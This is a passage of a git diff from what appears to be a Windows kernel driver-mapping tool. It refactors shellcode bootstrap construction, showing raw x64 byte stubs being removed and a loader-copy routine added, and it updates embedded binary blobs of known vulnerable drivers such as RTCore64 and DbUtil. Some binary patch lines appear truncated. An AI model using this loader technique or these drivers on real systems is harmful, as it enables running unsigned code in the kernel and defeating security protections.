pvShellCode->InitCode[0x3] = 0x00; - pvShellCode->InitCode[0x4] = 0x00; - - //pop rcx - pvShellCode->InitCode[0x5] = 0x59; - - //sub rcx, 5 - pvShellCode->InitCode[0x6] = 0x48; - pvShellCode->InitCode[0x7] = 0x83; - pvShellCode->InitCode[0x8] = 0xE9; - pvShellCode->InitCode[0x9] = 0x05; - - // jmps - pvShellCode->InitCode[0xA] = 0xEB; - pvShellCode->InitCode[0xB] = 0x04; - - break; + RtlFillMemory(pvShellCode->InitCode, sizeof(pvShellCode->InitCode), 0xCC); - case KDU_SHELLCODE_V3: - case KDU_SHELLCODE_V2: - case KDU_SHELLCODE_V1: - default: + // + // Select and copy code. + // + pvInitCode = ScGetBootstrapLdr(ShellVersion, &initSize); + if (initSize > sizeof(pvShellCode->InitCode)) { + return FALSE; + } - // 00 call +5 - // 05 pop r8 - // 07 sub r8, 5 - // 0B jmps 10 - // 0D int 3 - // 0E int 3 - // 0F int 3 - // 10 code - - //call +5 - pvShellCode->InitCode[0x0] = 0xE8; - pvShellCode->InitCode[0x1] = 0x00; - pvShellCode->InitCode[0x2] = 0x00; - pvShellCode->InitCode[0x3] = 0x00; - pvShellCode->InitCode[0x4] = 0x00; - - //pop r8 - pvShellCode->InitCode[0x5] = 0x41; - pvShellCode->InitCode[0x6] = 0x58; - - //sub r8, 5 - pvShellCode->InitCode[0x7] = 0x49; - pvShellCode->InitCode[0x8] = 0x83; - pvShellCode->InitCode[0x9] = 0xE8; - pvShellCode->InitCode[0xA] = 0x05; - - // jmps - pvShellCode->InitCode[0xB] = 0xEB; - pvShellCode->InitCode[0xC] = 0x03; + RtlCopyMemory(pvShellCode->InitCode, pvInitCode, initSize); - break; - } + return TRUE; } /* @@ -1860,9 +1863,12 @@ PVOID ScAllocate( } // - // Build initial code part (init code always at same offset for all variants). + // Build initial loader code part. // - ScBuildInitCodeForVersion(ShellVersion, pvShellCode); + if (!ScBuildInitCodeForVersion(ShellVersion, pvShellCode)) { + VirtualFree(pvShellCode, 0, MEM_RELEASE); + return NULL; + } #ifdef _DEBUG @@ -1910,7 +1916,7 @@ PVOID ScAllocate( } __try { - memcpy(pvBootstrap, procPtr, procSize); + RtlCopyMemory(pvBootstrap, procPtr, procSize); //supWriteBufferToFile((PWSTR)L"out.bin", pvBootstrap, procSize, FALSE, FALSE, NULL); ////((void(*)())ShellCode.Version.v1->InitCode)(); diff --git a/Source/Hamakaze/shellcode.h b/Source/Hamakaze/shellcode.h index 719bba6..9b81b9b 100644 --- a/Source/Hamakaze/shellcode.h +++ b/Source/Hamakaze/shellcode.h @@ -6,7 +6,7 @@ * * VERSION: 1.20 * -* DATE: 08 Feb 2022 +* DATE: 15 Feb 2022 * * Default driver mapping shellcode(s) prototypes and definitions. * @@ -86,8 +86,10 @@ BOOLEAN ScStoreVersionSpecificData( _In_ PKDU_CONTEXT Context, _In_ PVOID PayloadPtr); -VOID ScFree( - _In_ PVOID ShellPtr); +ULONG_PTR ScResolveFunctionByName( + _In_ ULONG_PTR KernelBase, + _In_ ULONG_PTR KernelImage, + _In_ LPCSTR Function); BOOLEAN ScResolveImportForPayload( _In_ ULONG ShellVersion, @@ -95,6 +97,13 @@ BOOLEAN ScResolveImportForPayload( _In_ ULONG_PTR KernelImage, _In_ ULONG_PTR KernelBase); +PVOID ScGetBootstrapLdr( + _In_ ULONG ShellVersion, + _Out_opt_ PULONG Size); + +VOID ScFree( + _In_ PVOID ShellPtr); + PVOID ScAllocate( _In_ ULONG ShellVersion, _In_ HANDLE SectionHandle, diff --git a/Source/Hamakaze/wdksup.h b/Source/Hamakaze/wdksup.h index 9818f21..cfc168f 100644 --- a/Source/Hamakaze/wdksup.h +++ b/Source/Hamakaze/wdksup.h @@ -1,12 +1,12 @@ /************************************************************************************ * -* (C) COPYRIGHT AUTHORS, 2018 - 2021, translated from Microsoft sources/debugger +* (C) COPYRIGHT AUTHORS, 2018 - 2022, translated from Microsoft sources/debugger * * TITLE: WDKSUP.H * -* VERSION: 1.10 +* VERSION: 1.20 * -* DATE: 02 Apr 2021 +* DATE: 15 Feb 2022 * * Header file for NT WDK definitions. * @@ -74,6 +74,8 @@ typedef struct _WORK_QUEUE_ITEM { __volatile PVOID Parameter; } WORK_QUEUE_ITEM, * PWORK_QUEUE_ITEM; +typedef NTSTATUS(NTAPI* pfnDriverEntry)(); + typedef BOOLEAN (NTAPI *pfnRtlCreateUnicodeString)( _Out_ _At_(DestinationString->Buffer, __drv_allocatesMem(Mem)) PUNICODE_STRING DestinationString, @@ -112,6 +114,10 @@ typedef ULONG(NTAPI* pfnDbgPrint)( _In_ PCHAR Format, ...); +typedef PVOID(NTAPI* pfnExAllocatePool)( + _In_ POOL_TYPE PoolType, + _In_ SIZE_T NumberOfBytes); + typedef PVOID(NTAPI* pfnExAllocatePoolWithTag)( _In_ POOL_TYPE PoolType, _In_ SIZE_T NumberOfBytes, diff --git a/Source/Tanikaze/data/AsusCertService.bin b/Source/Tanikaze/data/AsusCertService.bin index 06bbc83ac47a8a7fb7346d6b3a5b6c65cb188ff0..b6d538ba3da73f2be21b0ea18b712f1de98721c2 100644 GIT binary patch delta 27 jcmZp;$Jua?lgoa7zvm}5yE)I38@XD!7`JjUeaiy?pZW^x delta 27 jcmZp;$Jua?lgoa7zvm|V{F@R0D?^kIsgCw diff --git a/Source/Tanikaze/data/KMUSIG.bin b/Source/Tanikaze/data/KMUSIG.bin index f486d132731c8d4cafd73361317e1a2e1fcc04ce..2c5522f55a1521576659773d98db0103e860b17b 100644 GIT binary patch delta 18 acmZ3*xQda>ety5_qg3rV&yy!|EdT&RT?eWF delta 18 acmZ3*xQda>ety5_q;K&zC6Xp`EdT&R;0KHV diff --git a/Source/Tanikaze/data/dbutilcat.bin b/Source/Tanikaze/data/dbutilcat.bin index c830769fab1f309bd1285c5433076a14948f1b1e..60624152ed97eed9bc41373c81e41634a840bf71 100644 GIT binary patch delta 19 acmcbrcU6zeety4aQHc1Q=gAwnyu|@gVF#xG delta 19 acmcbrcU6zeety4a(X6PO5=k4myu|@hy9b>B diff --git a/Source/Tanikaze/data/dbutilinf.bin b/Source/Tanikaze/data/dbutilinf.bin index ab43d9d86974c69e530e2d28384f92d5cdf2ec3c..d3aa89adfb71b289c4918cea4a7641aa0f4c3f0d 100644 GIT binary patch delta 19 bcmX@eevqBZety5_rHvwUo+oeQ+Rh9BQ4|P6 delta 19 bcmX@eevqBZety4a(aVUN5=k4mwlf0&PB;h5 diff --git a/Source/Tanikaze/drv/ATSZIO64.bin b/Source/Tanikaze/drv/ATSZIO64.bin index 7d9f983bc30758b2973f2977f4360751183f8326..178c788c467d8f2cf721860278d8ae8830582cce 100644 GIT binary patch delta 19 bcmewm_#u$Xety5F(C0OCo+oeQdZqyYVVMb| delta 19 bcmewm_#u$Xety4a(%ttrC6YFBJ<|XHV%G_c diff --git a/Source/Tanikaze/drv/AsIO3.bin b/Source/Tanikaze/drv/AsIO3.bin index 2eeb17400445864c67c053d9e8193bf448abd101..aef49d072f893dac71139d08b1b43430e10ee59b 100644 GIT binary patch delta 21 dcmX@QmGS6SMlSpL{hm!vS>`-X-pI8(3IJ>73D^Jt delta 21 dcmX@QmGS6SMlSpL{hmqNoNr1bZRFY=1psHm2{ix! diff --git a/Source/Tanikaze/drv/DbUtil2_3.bin b/Source/Tanikaze/drv/DbUtil2_3.bin index 5d1904bead0b9fe269a13bf02985460cafaa0dea..185db0f586e83cc5dc8ad17cea684fc6add170c4 100644 GIT binary patch delta 19 acmZp&YqI0ApWp9!D6eA9^W=?OKjZ*VNC=<+ delta 19 acmZp&YqI0ApWpAP^nK?|iKLBOKjZ*Stq3;& diff --git a/Source/Tanikaze/drv/DirectIo64.bin b/Source/Tanikaze/drv/DirectIo64.bin index fc1fa8dbc02fc017163bc8544a5ae7db2230f8ab..c891cbeb089ae5d1f59ba2d3be9b77cba1ff1e32 100644 GIT binary patch delta 21 dcmeykhVkPXMlSpL{hmht3+6me-pG|61^{gv348zm delta 21 dcmeykhVkPXMlSpL{hmbvk8esOZRAQ10|0DD2`vBs diff --git a/Source/Tanikaze/drv/EneIo64.bin b/Source/Tanikaze/drv/EneIo64.bin index 1a71030c5e8a2b0cf77806cc98f1dd8324a2c30b..d402b4a8e9c777aeb63c5eb10ded2e639712bfef 100644 GIT binary patch delta 19 bcmccMe!-o~ety5_rx&~DJWt-pbxaumWK{|d delta 19 bcmccMe!-o~ety4aQ|aHE5=k4mjwu5GTE+<4 diff --git a/Source/Tanikaze/drv/EneTechIo64.bin b/Source/Tanikaze/drv/EneTechIo64.bin index 52437d578330759fca63f589fd75a5be854a2e35..def758c9d748f2a1e8dacaaf98d96f813f7e7f9e 100644 GIT binary patch delta 19 bcmcZ~dOwuQety5FQ1$*f&yzQDUDW~rTm1WbS#L=ety3vQ=aFX=gAwnY%~E<8waoe delta 19 bcmX>WbS#L=ety5_rt5t-C6YFB*=Pa)Tc8Mg diff --git a/Source/Tanikaze/drv/MsIo64.bin b/Source/Tanikaze/drv/MsIo64.bin index 0aaa9f784a7de314e2b44dfe901ecf1072d5fe14..30b55943ced2944ef973005742b65a3668378f8a 100644 GIT binary patch delta 19 bcmey8`z4plety4a(Qo%T&yzQDy)pv;X4eV$ delta 19 bcmey8`z4plety5_rGK+-N+fOMdSwOxY8DC` diff --git a/Source/Tanikaze/drv/Phymemx64.bin b/Source/Tanikaze/drv/Phymemx64.bin index 1da869cbb2ad126fdd143d09a1d87df949de4141..385ac86b627c484e4ee53494222fc6dad930f9f1 100644 GIT binary patch delta 19 bcmdm-vpI*$ety5_rpD+w&yzQDX_^55TIC3h delta 19 bcmdm-vpI*$ety5_Bg1(&C6YFBX_^55SlI|2 diff --git a/Source/Tanikaze/drv/RTCore64.bin b/Source/Tanikaze/drv/RTCore64.bin index 00c0f3f2a2f663e7bf78e33e6b23a75737dec149..065efc3663604dcdd4a72e3caee35b507056e05b 100644 GIT binary patch delta 19 bcmdmLz15n_ety5_p=Y6Uo+oeQS}h9zS(6C| delta 19 bcmdmLz15n_ety5_r>E0yN+fOMS}h9zT0RKm diff --git a/Source/Tanikaze/drv/WinRing0x64.bin b/Source/Tanikaze/drv/WinRing0x64.bin index c996c52d80582921fdfbdcfa30de6bd33679c3a7..1ca948ae4ebedcbc7633ab4c1fcc6960516a12df 100644 GIT binary patch delta 19 bcmdmLx7Cizety5_rRuyn&yzQDY0CouR-gz? delta 19 acmdmLx7Cizety3vQ|0=b5=k4mwB-R!LI)`T diff --git a/Source/Tanikaze/drv/asio2.bin b/Source/Tanikaze/drv/asio2.bin index 057f7df7e2f852687cf2c6aca718339c55f05a06..30e6ebee7bb98d798de4a44a2318d8e650919b2b 100644 GIT binary patch delta 21 dcmaDgjq%kqMlSpL{hmh5)8;%+-pG~U4FF}w2-*Mu delta 21 dcmaDgjq%kqMlSpL{hmpiU)_{Q+Q^mQ4FGLJ33~tl diff --git a/Source/Tanikaze/drv/dbk64.bin b/Source/Tanikaze/drv/dbk64.bin index 90f5bb8e5c87b01a303a7aff0fed06aef8fe9301..8c5db99ee97f39368e40d01ed743dad08cc3ca1e 100644 GIT binary patch delta 21 dcmaDlmHFvZW-j~r{hmb)Tyvf$Z{)gt3IJ&z3H<;7 delta 21 dcmaDlmHFvZW-j~r{hm%1o;M|uHgerQ1ps4v2{8Zw diff --git a/Source/Tanikaze/drv/dbutildrv2.bin b/Source/Tanikaze/drv/dbutildrv2.bin index 8fd7a03768721c112b6b100f335abc07c0a9b98c..8e7ad3dca4484b2cc9b3caf94e0f69828b8cea48 100644 GIT binary patch delta 19 acmeB4>q+CXpWp9k^s8*n^W=?OOvV6IWe6Pr delta 19 acmeB4>q+CXpWp9kbad-YiKLBOOvV6FOb3(z diff --git a/Source/Tanikaze/drv/ene2.bin b/Source/Tanikaze/drv/ene2.bin index c654b972f32b1cdd14df52aa752cc67a028cadba..8e7c46aef250ca6247ece1e3a023c5086a647849 100644 GIT binary patch delta 19 bcmbOiH7|*_) delta 19 acmbOiH7|<{9 diff --git a/Source/Tanikaze/drv/kprocesshacker.bin b/Source/Tanikaze/drv/kprocesshacker.bin index 51384d7b9e2bf512e9103a3fbc2ae581b8158969..6ad5a27fe6a939839360e245b2870c1c04e68605 100644 GIT binary patch delta 21 dcmcaNh4J1LMlSpL{hmfQ3g^{k4^ety5FQfked=gAwnVr&6k#t6Ou delta 19 bcmaD>^{k4^ety5F(azmBC6YFB#n=J>VIBz1 diff --git a/Source/Tanikaze/drv/procexp.bin b/Source/Tanikaze/drv/procexp.bin index db57ba780dbae7ef7245c55f80235af338b8b4ef..49fd49692dd066c49a07e86ba0d1d8033e4f316d 100644 GIT binary patch delta 21 dcmeC4$k;uRk;{I5zvm^{_&Lv$H*z(4003M@2(thH delta 21 dcmeC4$k;uRk;{I5zvrVx6K_f+ZRBe7003X_2*2moRa2)Y0O